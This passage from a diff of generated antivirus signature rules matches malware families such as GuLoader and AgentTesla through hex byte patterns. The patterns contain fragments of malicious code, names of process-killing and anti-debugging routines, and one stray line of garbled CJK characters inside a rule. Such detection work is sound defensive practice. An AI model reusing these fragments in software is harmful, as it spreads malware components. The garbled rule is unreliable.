1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 } -rule _InfrastructureShared_13261{ +rule _InfrastructureShared_14133{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 4c 44 21 4d 54 42 00 01 00 25 81 01 53 6f 66 74 77 61 72 65 5c 48 79 64 72 6f 6d 65 74 61 6c 6c 75 72 67 69 63 61 6c 5c 52 65 63 6c 69 6e 61 74 65 01 00 0d 81 01 2e 5c 52 75 6d } //18467 - $a_79_1 = {54 72 61 01 00 28 81 01 5c 53 6d 61 64 72 65 6b 61 73 73 65 73 5c 64 65 6d 65 72 69 74 73 5c 54 72 69 63 68 6f 6d 6f 6e 61 64 61 6c 2e 69 6e 69 01 00 25 81 01 25 25 5c 56 61 72 69 61 62 65 6c 66 6f 72 6b 6c 61 72 69 6e 67 65 72 6e 65 5c 48 61 75 74 65 69 6e 2e 69 6e 69 00 00 78 c0 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a } //26989 - $a_36_2 = {2f 42 79 70 65 63 67 7a 2e 41 21 4d 54 42 00 01 00 2b 00 48 89 7c 24 28 41 b9 10 00 00 00 33 d2 48 89 44 24 54 48 8b cb c7 44 24 50 01 00 00 00 c7 44 24 5c 02 00 00 00 48 89 7c 24 20 ff 01 00 2a 00 4c 8b 35 ce 45 00 00 0f 11 44 24 48 48 89 44 24 30 8b 45 40 66 0f 73 d8 08 66 48 0f 7e c3 89 44 24 38 48 89 7c 24 50 48 85 db 01 00 } //26967 - $a_8b_3 = {54 48 00 00 4c 8d 90 01 03 48 8b 0d 30 48 00 00 41 b9 04 00 00 00 48 89 7c 24 20 ff 90 00 01 00 18 02 49 8b d6 48 8d 90 01 05 e8 90 01 04 8b 46 08 48 8b 5e 10 85 c0 74 90 00 00 00 78 c0 00 00 04 00 04 00 05 00 21 23 } //545 + $a_79_1 = {54 72 61 01 00 28 81 01 5c 53 6d 61 64 72 65 6b 61 73 73 65 73 5c 64 65 6d 65 72 69 74 73 5c 54 72 69 63 68 6f 6d 6f 6e 61 64 61 6c 2e 69 6e 69 01 00 25 81 01 25 25 5c 56 61 72 69 61 62 65 6c 66 6f 72 6b 6c 61 72 69 6e 67 65 72 6e 65 5c 48 61 75 74 65 69 6e 2e 69 6e 69 00 00 78 c0 00 00 04 00 04 00 04 00 21 23 48 53 54 52 } //26989 + $a_6f_2 = {61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 56 4e 55 30 31 21 4d 54 42 00 01 00 1e 81 01 62 61 72 6f 73 6d 69 6e 20 74 61 6c 65 72 72 65 74 73 20 6e 6f 6e 64 65 72 69 73 69 76 65 01 00 23 81 01 74 72 61 63 68 65 61 65 20 6e 65 6f 74 79 70 65 73 20 66 65 6d 6f 67 74 79 76 65 6e 64 65 64 65 6c 65 73 01 00 1b 81 01 72 65 76 69 73 6f } //21562 + $a_63_3 = {6f 73 73 62 61 6e 64 65 64 20 74 61 7a 7a 61 73 01 00 21 81 01 73 75 63 63 65 73 66 75 6c 64 65 } //31090 condition: - ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*26989+(#a_36_2 & 1)*26967+(#a_8b_3 & 1)*545) >=4 + ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*26989+(#a_6f_2 & 1)*21562+(#a_63_3 & 1)*31090) >=4 } -rule _InfrastructureShared_13262{ +rule _InfrastructureShared_14134{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 56 4e 55 30 31 21 4d 54 42 00 01 00 1e 81 01 62 61 72 6f 73 6d 69 6e 20 74 61 6c 65 72 72 65 74 73 20 6e 6f 6e 64 65 72 69 73 69 76 65 01 00 23 81 01 74 72 61 63 68 65 61 65 20 6e } //18467 + $a_79_1 = {65 73 20 66 65 6d 6f 67 74 79 76 65 6e 64 65 64 65 6c 65 73 01 00 1b 81 01 72 65 76 69 73 6f 72 79 20 63 72 6f 73 73 62 61 6e 64 65 64 20 74 61 7a 7a 61 73 01 00 21 81 01 73 75 63 63 65 73 66 75 6c 64 65 73 20 63 69 73 61 6e 64 69 6e 65 20 72 65 67 69 73 73 65 75 72 73 00 00 78 c0 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 } //28517 + $a_61_2 = {65 72 2e 47 4f 50 30 31 21 4d 54 42 00 01 00 27 81 01 73 65 76 65 72 69 6e 67 6c 79 20 63 69 73 73 79 73 20 75 64 64 69 66 66 65 72 65 6e 74 69 65 72 69 6e 67 65 72 6e 65 01 00 24 81 01 64 69 73 74 72 69 6b 74 73 6a 6f 72 64 65 6d 64 72 65 73 20 77 61 72 6e 20 63 6f 6d 70 75 74 65 72 6e 69 6b 01 00 17 81 01 70 72 6f 67 72 61 6d 65 } //27765 + $a_6d_3 = {65 6c 65 74 20 68 65 6c 67 61 01 00 22 81 01 70 75 6c 6d 6f 6e 69 66 65 72 6f 75 73 20 68 69 67 68 62 79 74 65 6e 20 67 72 75 6e 64 66 73 74 65 74 00 00 78 c0 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 57 69 6e 36 34 2f 42 79 70 65 63 67 7a 2e 41 21 4d 54 42 00 01 00 2b 00 48 89 7c 24 28 41 b9 10 00 00 } //29547 + condition: + ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*28517+(#a_61_2 & 1)*27765+(#a_6d_3 & 1)*29547) >=4 + +} +rule _InfrastructureShared_14135{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 50 30 31 21 4d 54 42 00 01 00 27 81 01 73 65 76 65 72 69 6e 67 6c 79 20 63 69 73 73 79 73 20 75 64 64 69 66 66 65 72 65 6e 74 69 65 72 69 6e 67 65 72 6e 65 01 00 24 81 01 64 69 73 74 72 69 6b 74 } //18467 + $a_72_1 = {65 6d 64 72 65 73 20 77 61 72 6e 20 63 6f 6d 70 75 74 65 72 6e 69 6b 01 00 17 81 01 70 72 6f 67 72 61 6d 65 6b 73 65 6d 70 65 6c 65 74 20 68 65 6c 67 61 01 00 22 81 01 70 75 6c 6d 6f 6e 69 66 65 72 6f 75 73 20 68 69 67 68 62 79 74 65 6e 20 67 72 75 6e 64 66 73 74 65 74 00 00 78 c0 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 57 69 6e } //27251 + $a_42_2 = {70 65 63 67 7a 2e 41 21 4d 54 42 00 01 00 2b 00 48 89 7c 24 28 41 b9 10 00 00 00 33 d2 48 89 44 24 54 48 8b cb c7 44 24 50 01 00 00 00 c7 44 } //13366 + $a_00_3 = {00 00 } //23588 + condition: + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*27251+(#a_42_2 & 1)*13366+(#a_00_3 & 1)*23588) >=4 + +} +rule _InfrastructureShared_14136{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -149353,7 +159366,7 @@ rule _InfrastructureShared_13262{ ((#a_4c_0 & 1)*21539+(#a_8b_1 & 1)*42+(#a_02_2 & 1)*1+(#a_c0_3 & 1)*0) >=4 } -rule _InfrastructureShared_13263{ +rule _InfrastructureShared_14137{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -149366,7 +159379,7 @@ rule _InfrastructureShared_13263{ ((#a_46_0 & 1)*16675+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_03_4 & 1)*1) >=4 } -rule _InfrastructureShared_13264{ +rule _InfrastructureShared_14138{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -149379,7 +159392,7 @@ rule _InfrastructureShared_13264{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*344+(#a_00_3 & 1)*101+(#a_00_4 & 1)*29285) >=4 } -rule _InfrastructureShared_13265{ +rule _InfrastructureShared_14139{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -149395,7 +159408,7 @@ rule _InfrastructureShared_13265{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*17252+(#a_3a_2 & 1)*19521+(#a_69_3 & 1)*25445+(#a_52_4 & 1)*21320+(#a_39_5 & 1)*13414+(#a_5f_6 & 1)*25959) >=4 } -rule _InfrastructureShared_13266{ +rule _InfrastructureShared_14140{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -149407,7 +159420,7 @@ rule _InfrastructureShared_13266{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*8302+(#a_48_4 & 1)*8448) >=5 } -rule _InfrastructureShared_13267{ +rule _InfrastructureShared_14141{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -149421,7 +159434,7 @@ rule _InfrastructureShared_13267{ ((#a_54_0 & 1)*18467+(#a_34_1 & 1)*13667+(#a_53_2 & 1)*8993+(#a_5c_3 & 1)*28261+(#a_54_4 & 1)*18467) >=5 } -rule _InfrastructureShared_13268{ +rule _InfrastructureShared_14142{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -149435,7 +159448,7 @@ rule _InfrastructureShared_13268{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*12914+(#a_69_2 & 1)*29486+(#a_61_3 & 1)*26992+(#a_00_4 & 1)*5) >=5 } -rule _InfrastructureShared_13269{ +rule _InfrastructureShared_14143{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -149448,7 +159461,7 @@ rule _InfrastructureShared_13269{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*25449+(#a_48_3 & 1)*8448+(#a_65_4 & 1)*28261) >=5 } -rule _InfrastructureShared_13270{ +rule _InfrastructureShared_14144{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -149462,7 +159475,7 @@ rule _InfrastructureShared_13270{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*26988+(#a_47_2 & 1)*12851+(#a_01_3 & 1)*25976+(#a_65_4 & 1)*31092) >=5 } -rule _InfrastructureShared_13271{ +rule _InfrastructureShared_14145{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -149476,7 +159489,7 @@ rule _InfrastructureShared_13271{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*8299+(#a_43_2 & 1)*12851+(#a_61_3 & 1)*29281+(#a_61_4 & 1)*27747) >=5 } -rule _InfrastructureShared_13272{ +rule _InfrastructureShared_14146{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -149491,7 +159504,7 @@ rule _InfrastructureShared_13272{ ((#a_46_0 & 1)*16675+(#a_43_1 & 1)*-32749+(#a_61_2 & 1)*29281+(#a_41_4 & 1)*8448+(#a_61_5 & 1)*31090+(#a_64_6 & 1)*29555) >=5 } -rule _InfrastructureShared_13273{ +rule _InfrastructureShared_14147{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -149506,7 +159519,7 @@ rule _InfrastructureShared_13273{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*24935+(#a_53_2 & 1)*-32741+(#a_61_3 & 1)*29810+(#a_73_4 & 1)*29230+(#a_65_5 & 1)*13364) >=6 } -rule _InfrastructureShared_13274{ +rule _InfrastructureShared_14148{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -149521,7 +159534,7 @@ rule _InfrastructureShared_13274{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*31088+(#a_6e_2 & 1)*385+(#a_31_3 & 1)*13361+(#a_54_4 & 1)*8498+(#a_3d_5 & 1)*19538) >=6 } -rule _InfrastructureShared_13275{ +rule _InfrastructureShared_14149{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -149536,7 +159549,7 @@ rule _InfrastructureShared_13275{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*27252+(#a_6e_2 & 1)*385+(#a_33_3 & 1)*26967+(#a_72_4 & 1)*286+(#a_33_5 & 1)*12615) >=6 } -rule _InfrastructureShared_13276{ +rule _InfrastructureShared_14150{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -149550,7 +159563,7 @@ rule _InfrastructureShared_13276{ ((#a_54_0 & 1)*18467+(#a_57_1 & 1)*270+(#a_4a_2 & 1)*11890+(#a_69_4 & 1)*385+(#a_49_5 & 1)*19770) >=6 } -rule _InfrastructureShared_13277{ +rule _InfrastructureShared_14151{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -149565,7 +159578,7 @@ rule _InfrastructureShared_13277{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*27749+(#a_6e_2 & 1)*27247+(#a_65_3 & 1)*28257+(#a_4c_4 & 1)*18223+(#a_50_5 & 1)*30575) >=6 } -rule _InfrastructureShared_13278{ +rule _InfrastructureShared_14152{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -149580,7 +159593,7 @@ rule _InfrastructureShared_13278{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*1670+(#a_74_2 & 1)*28528+(#a_62_3 & 1)*25966+(#a_69_4 & 1)*20581+(#a_6f_5 & 1)*11883) >=7 } -rule _InfrastructureShared_13279{ +rule _InfrastructureShared_14153{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -149589,42 +159602,29 @@ rule _InfrastructureShared_13279{ $a_68_1 = {72 6e 20 53 61 67 73 67 6e 69 6e 67 01 00 09 81 01 4d 6f 76 65 46 69 6c 65 41 01 00 04 81 01 54 65 6d 70 01 00 13 81 01 53 65 53 68 75 74 64 6f 77 6e 50 72 69 76 69 6c 65 67 65 01 00 1a 81 01 57 72 69 74 65 50 72 69 76 61 74 65 50 72 6f 66 69 6c 65 53 74 72 69 6e 67 41 00 00 78 c0 00 00 07 00 07 00 07 } //25717 $a_50_2 = {41 3a 42 6c 6f 63 6b 3a 4b 72 61 64 64 61 72 65 00 01 00 0a 80 01 31 31 73 74 2e 63 6f 2e 6b 72 01 00 0d } //8448 $a_6d_3 = {72 6b 65 74 2e 63 6f 2e 6b 72 01 00 0d 80 01 61 75 63 74 69 6f 6e 2e 63 6f 2e 6b 72 01 00 0f 80 01 69 6e 74 65 72 70 61 72 6b 2e 63 6f 2e 6b 72 01 00 10 80 01 63 6c 2e 6e 63 63 6c 69 63 6b 2e 63 6f 2e 6b 72 01 00 2e 80 01 62 61 72 6f 67 61 67 79 2e 63 6f 2e 6b 72 2f 73 69 64 65 62 61 72 2f 73 68 6f 70 5f 6b } //384 - $a_6f_4 = {64 2e 61 73 70 3f 73 77 6f 72 64 3d 01 00 0f 80 01 57 42 50 61 74 63 68 6f 70 65 6e 2e 65 78 65 00 00 78 c0 00 00 08 00 08 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4b 69 6c 6c 50 72 6f 63 2e 47 56 41 21 4d 54 42 00 03 00 0b 01 6d 61 69 6e 2e 61 76 6c 69 73 74 01 00 15 01 6d 61 69 6e 2e 69 73 50 72 6f 63 65 73 73 52 75 6e 6e 69 6e } //31077 - $a_69_6 = {2e 4c 6f 61 64 44 72 69 76 65 72 01 00 16 01 6d 61 69 6e 2e 46 69 6e 64 50 72 6f 63 65 73 73 42 79 4e 61 6d 65 01 00 1c 01 6d 61 69 6e 2e 54 65 72 6d 69 6e 61 74 65 50 72 6f 63 65 73 73 42 79 49 4f 43 54 4c 01 00 1b 01 6d 61 69 6e 2e 52 65 67 69 73 74 65 72 50 72 6f 63 65 73 73 42 79 49 4f } //27905 + $a_6f_4 = {64 2e 61 73 70 3f 73 77 6f 72 64 3d 01 00 0f 80 01 57 42 50 61 74 63 68 6f 70 65 6e 2e 65 78 65 00 00 78 c0 00 00 08 00 08 00 08 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 45 50 57 21 4d 54 42 00 01 00 25 01 24 62 65 31 62 39 33 33 63 2d 37 38 65 34 2d 34 33 61 32 2d 61 38 34 64 2d 37 35 39 34 65 66 62 32 32 } //31077 + $a_01_5 = {00 09 01 47 65 74 4d 65 74 68 6f 64 01 00 11 01 47 65 74 54 79 70 65 46 72 6f 6d 48 61 6e 64 6c 65 01 00 0e 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 06 01 00 } //12856 + $a_57_6 = {01 00 08 01 00 47 65 74 54 79 70 65 01 00 08 01 54 6f 53 74 72 69 6e 67 01 00 10 01 4f 6e 43 72 65 61 74 65 4d 61 69 6e 46 6f 72 6d 00 00 78 c0 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 5a 5a 36 33 21 4d 54 42 00 01 00 1a 81 01 43 68 65 63 6b 52 65 6d 6f 74 65 44 } //26691 condition: - ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*25717+(#a_50_2 & 1)*8448+(#a_6d_3 & 1)*384+(#a_6f_4 & 1)*31077+(#a_69_6 & 1)*27905) >=7 + ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*25717+(#a_50_2 & 1)*8448+(#a_6d_3 & 1)*384+(#a_6f_4 & 1)*31077+(#a_01_5 & 1)*12856+(#a_57_6 & 1)*26691) >=7 } -rule _InfrastructureShared_13280{ +rule _InfrastructureShared_14154{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " strings : $a_41_0 = {42 6c 6f 63 6b 3a 4b 72 61 64 64 61 72 65 00 01 00 0a 80 01 31 31 73 74 2e 63 6f 2e 6b 72 01 00 0d 80 01 67 6d 61 72 6b 65 74 2e 63 6f 2e 6b 72 01 00 0d 80 01 61 75 63 74 69 6f 6e 2e 63 6f 2e 6b 72 01 00 0f 80 01 69 6e 74 65 72 70 61 72 6b 2e 63 6f 2e 6b } //20515 - $a_6c_2 = {6e 63 63 6c 69 63 6b 2e 63 6f 2e 6b 72 01 00 2e 80 01 62 61 72 6f 67 61 67 79 2e 63 6f 2e 6b 72 2f 73 69 64 65 62 61 72 2f 73 68 6f 70 5f 6b 65 79 77 6f 72 64 2e 61 73 70 3f 73 77 6f 72 64 3d 01 00 0f 80 01 57 42 50 61 74 63 68 6f 70 65 6e 2e 65 78 65 00 00 78 c0 00 00 08 00 08 00 06 00 21 23 41 } //384 - $a_54_3 = {6f 6a 61 6e 3a 57 69 6e 36 34 2f 4b 69 6c 6c 50 72 6f 63 2e 47 56 41 21 4d 54 42 00 03 00 0b 01 6d 61 69 6e 2e 61 76 6c 69 73 74 01 00 15 01 6d 61 69 6e 2e 69 73 50 72 6f 63 } //17996 - $a_52_4 = {6e 6e 69 6e 67 01 00 0f 01 6d 61 69 6e 2e 4c 6f 61 64 44 72 69 76 65 72 01 00 16 01 6d 61 69 6e 2e 46 69 6e 64 50 72 6f 63 65 73 73 42 79 4e 61 6d 65 01 00 1c 01 6d 61 69 6e 2e 54 65 72 6d 69 6e 61 74 65 50 72 6f 63 65 73 73 42 79 49 4f 43 54 4c 01 00 1b 01 6d 61 69 6e 2e 52 65 67 69 73 74 65 72 50 72 6f 63 65 73 73 42 79 49 4f 43 54 4c 00 00 } //29541 - $a_00_6 = {08 00 21 23 41 4c 46 3a } //8 + $a_6c_2 = {6e 63 63 6c 69 63 6b 2e 63 6f 2e 6b 72 01 00 2e 80 01 62 61 72 6f 67 61 67 79 2e 63 6f 2e 6b 72 2f 73 69 64 65 62 61 72 2f 73 68 6f 70 5f 6b 65 79 77 6f 72 64 2e 61 73 70 3f 73 77 6f 72 64 3d 01 00 0f 80 01 57 42 50 61 74 63 68 6f 70 65 6e 2e 65 78 65 00 00 78 c0 00 00 08 00 08 00 08 00 21 23 41 } //384 + $a_54_3 = {6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 45 50 57 21 4d 54 42 00 01 00 25 01 24 62 65 31 62 39 33 33 63 2d 37 38 65 34 2d 34 33 61 32 2d 61 38 34 64 2d } //17996 橯湡䴺䥓⽌杁湥呴獥慬䔮坐䴡䉔Ā─␁敢戱㌹挳㜭攸ⴴ㌴㉡愭㐸ⵤ + $a_34_4 = {66 62 32 32 38 32 38 01 00 09 01 47 65 74 4d 65 74 68 6f 64 01 00 11 01 47 65 74 54 79 70 65 46 72 6f 6d 48 61 6e 64 6c 65 01 00 0e 01 43 72 65 61 74 65 49 6e 73 74 61 6e } //13623 + $a_00_5 = {06 } //25955 + $a_68_6 = {57 00 01 00 08 01 00 47 65 74 54 79 70 65 01 00 08 01 54 6f 53 74 72 69 6e 67 01 00 10 01 4f 6e 43 72 65 61 74 65 4d 61 69 6e 46 6f 72 6d 00 00 78 c0 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 } //1 condition: - ((#a_41_0 & 1)*20515+(#a_6c_2 & 1)*384+(#a_54_3 & 1)*17996+(#a_52_4 & 1)*29541+(#a_00_6 & 1)*8) >=7 + ((#a_41_0 & 1)*20515+(#a_6c_2 & 1)*384+(#a_54_3 & 1)*17996+(#a_34_4 & 1)*13623+(#a_00_5 & 1)*25955+(#a_68_6 & 1)*1) >=7 } -rule _InfrastructureShared_13281{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 06 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4b 69 6c 6c 50 72 6f 63 2e 47 56 41 21 4d 54 42 00 03 00 0b 01 6d 61 69 6e 2e 61 76 6c 69 73 74 01 00 15 01 6d 61 69 6e 2e 69 73 50 72 6f 63 65 73 73 52 75 6e 6e 69 6e 67 01 00 0f 01 6d 61 } //16675 - $a_4c_1 = {61 64 44 72 69 76 65 72 01 00 16 01 6d 61 69 6e 2e 46 69 6e 64 50 72 6f 63 65 73 73 42 79 4e 61 6d 65 01 00 1c 01 6d 61 69 6e 2e 54 65 72 } //28265 - $a_61_2 = {65 50 72 6f 63 65 73 73 42 79 49 4f 43 54 4c 01 00 1b 01 6d 61 69 6e 2e 52 65 67 69 73 74 65 72 50 72 6f 63 65 73 73 42 79 49 4f 43 54 4c 00 00 78 c0 00 00 08 00 08 00 08 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 45 50 57 21 4d 54 42 00 01 00 25 01 24 62 65 31 62 39 33 33 63 2d 37 } //26989 - $a_2d_3 = {33 61 32 2d 61 38 34 64 2d 37 35 39 34 65 66 62 32 32 38 32 38 01 00 09 01 47 65 74 4d 65 74 68 6f 64 01 00 11 01 47 65 74 54 79 70 65 46 72 6f 6d 48 61 6e } //25912 - $a_01_4 = {00 0e 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 06 01 00 43 68 72 57 00 01 00 08 01 00 47 65 74 54 79 70 65 01 00 08 01 54 6f 53 74 72 69 6e 67 01 00 10 01 4f 6e 43 72 65 61 74 65 4d 61 69 6e 46 6f 72 6d 00 00 78 c0 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c } //27748 - $a_65_5 = {74 54 65 73 6c 61 2e 41 4d 5a 5a 36 33 21 4d 54 42 00 01 00 1a 81 01 43 68 65 63 6b 52 65 6d 6f 74 65 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 01 00 11 81 01 49 73 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 01 00 0a 81 01 66 66 73 64 66 73 64 66 64 73 01 00 07 81 01 66 64 73 64 66 64 73 01 00 06 81 01 } //16687 - condition: - ((#a_46_0 & 1)*16675+(#a_4c_1 & 1)*28265+(#a_61_2 & 1)*26989+(#a_2d_3 & 1)*25912+(#a_01_4 & 1)*27748+(#a_65_5 & 1)*16687) >=8 - -} -rule _InfrastructureShared_13282{ +rule _InfrastructureShared_14155{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -149641,7 +159641,7 @@ rule _InfrastructureShared_13282{ ((#a_46_0 & 1)*16675+(#a_4d_1 & 1)*25927+(#a_6a_2 & 1)*29268+(#a_66_3 & 1)*-32506+(#a_01_4 & 1)*29542+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=8 } -rule _InfrastructureShared_13283{ +rule _InfrastructureShared_14156{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -149658,7 +159658,7 @@ rule _InfrastructureShared_13283{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*29541+(#a_48_2 & 1)*8448+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=8 } -rule _InfrastructureShared_13284{ +rule _InfrastructureShared_14157{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -149674,7 +159674,7 @@ rule _InfrastructureShared_13284{ ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*29298+(#a_48_3 & 1)*8448+(#a_67_5 & 1)*2560+(#a_6a_6 & 1)*30059+(#a_62_7 & 1)*25978+(#a_00_9 & 1)*-5887) >=10 } -rule _InfrastructureShared_13285{ +rule _InfrastructureShared_14158{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0c 00 21 " @@ -149685,16 +159685,17 @@ rule _InfrastructureShared_13285{ $a_00_3 = {05 } //0 $a_00_4 = {00 00 01 00 05 01 e9 0a 00 } //-5887 $a_00_5 = {10 } //0 - $a_00_6 = {00 00 20 0f 84 90 01 01 00 00 00 90 00 01 00 10 03 f7 c2 00 00 00 40 0f 84 90 01 01 00 00 00 90 00 01 00 10 03 f7 c2 00 00 00 80 0f 84 90 01 01 00 00 00 90 00 00 00 78 c0 00 00 10 00 10 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 72 79 70 74 69 6b 2e 4f 4e 21 4d 54 42 00 0a 00 33 03 2b 31 03 09 28 90 02 04 04 09 04 6f 90 02 04 5d 17 d6 28 90 02 04 da 13 04 07 11 04 28 90 02 04 28 90 02 04 28 90 02 04 0b 09 17 d6 0d 09 08 31 cb 90 00 0a 00 20 03 08 11 04 07 11 04 1e d8 1e 6f 90 02 04 18 28 90 02 04 9c 11 04 17 d6 13 04 11 04 09 31 e0 90 00 02 00 0f 80 01 } //-2301 - $a_61_7 = {65 44 65 63 72 79 70 74 6f 72 02 00 0b 80 01 43 6f 6d 70 75 74 65 48 61 73 68 02 00 13 80 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 00 00 78 c0 00 00 11 00 11 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 33 35 37 21 4d 54 42 } //29251 - $a_74_9 = {69 78 65 6c 01 00 07 00 54 6f 57 69 6e 33 32 01 00 0e 80 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 08 00 54 6f 53 74 72 69 6e 67 01 00 0c 00 52 65 73 75 6d 65 4c 61 79 6f 75 74 01 00 0d 00 53 75 73 70 65 6e 64 4c 61 79 6f 75 74 0a 00 0c 02 20 00 64 00 00 8d 90 01 04 0c 90 00 01 00 25 00 24 65 } //18176 - $a_33_10 = {37 66 2d 33 39 65 30 2d 34 30 64 64 2d 38 61 36 32 2d 62 34 34 66 63 65 39 37 63 33 33 62 00 00 78 c0 00 00 12 00 12 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 41 4a 21 4d 54 42 00 0a 00 53 02 25 16 02 28 90 01 04 9d 6f 90 01 04 } //13362 - $a_06_11 = {fe 90 01 05 06 13 06 16 13 07 2b 30 11 06 11 07 9a 13 08 00 00 11 08 28 90 01 04 d2 13 09 02 7b 90 01 04 11 09 6f 90 01 04 00 00 } //10 + $a_00_6 = {00 00 20 0f 84 90 01 01 00 00 00 90 00 01 00 10 03 f7 c2 00 00 00 40 0f 84 90 01 01 00 00 00 90 00 01 00 10 03 f7 